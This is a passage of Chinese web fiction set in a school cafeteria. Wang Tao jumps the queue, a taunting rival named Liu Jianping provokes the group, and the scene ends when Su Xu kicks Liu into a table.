张霆琛被那些鄙夷的目光刺得浑身不自在,小声问:“涛子,这样不太好吧?”王涛满不在乎:“管他呢!能快点吃上饭就是王道!”他对着窗口里一个穿着油腻围裙的师傅熟稔地喊道:“帮忙打…”然后扭头问张霆琛,“几个人?”“九个!”
“妥了!”王涛转回头,嗓门洪亮,“老赵,打九份!A套餐!麻利点儿!”张霆琛看着那师傅二话不说就开始盛饭盛菜,心里直犯嘀咕:这王涛啥来头?这么横?要是他自己来,估计得排到猴年马月去。
刚接过几份餐盘,身后就传来一个阴阳怪气的声音:“呵,**没素质!当食堂是你家开的?”王涛闻声,猛地转身,脸上的笑容瞬间消失,眼神变得凶狠:“刘建平!**说谁呢?”
只见一个留着短寸、穿着花哨T恤的男生,带着三个跟班,吊儿郎当地晃了过来。为首的刘建平嘴角挂着讥诮的笑,故意放慢语速:“说谁?当然是说你王涛啊!怎么着?想咬我?”他身后的跟班发出一阵哄笑。
王涛腮帮子咬得咯咯响,强压着火气:“姓刘的!今天我们跟新同学吃饭,懒得跟你计较!日子长着呢,你等着!”
刘建平像是听到了天大的笑话,夸张地大笑几声:“哈哈哈!我等着!就怕你怂!”他边说边往前走,准备打饭,经过张霆琛身边时,故意停下脚步,斜眼打量着他,语气带着蛊惑,“喂,新来的?跟王涛他们混没前途,不如跟哥混?保管比他们强!”
这句话像点燃了**桶!王涛再也忍不住,猛地冲上前,指着刘建平的鼻子怒吼:“刘建平!**是真活腻歪了是吧?!”
邓志辉、李辰浩他们也立刻围了上来。邓志辉试图缓和:“平哥,什么事儿这么大火气?”李辰浩则一步跨到张霆琛身边,眼神冷得像冰,声音低沉地问他:“他们找你麻烦?”那架势,仿佛只要张霆琛点个头,他下一秒就能把对方撕碎。
刘建平根本没搭理邓志辉,反而冲着浑身散发着危险气息的李辰浩挑衅地抬了抬下巴:“小子!老子就是找事儿,你能怎么着?”
“就这么着!”话音未落,一道身影从李辰浩身侧猛地窜出!是苏旭!他动作快得惊人,抬腿就是狠狠一脚,结结实实地踹在刘建平的肚子上!
刘建平猝不及防,惨叫一声,整个人弓着腰向后踉跄撞去,哗啦一声撞翻了旁边一张餐桌,餐盘碗筷摔了一地,汤汁饭菜溅得到处都是。整个喧闹的食堂,瞬间死寂一片。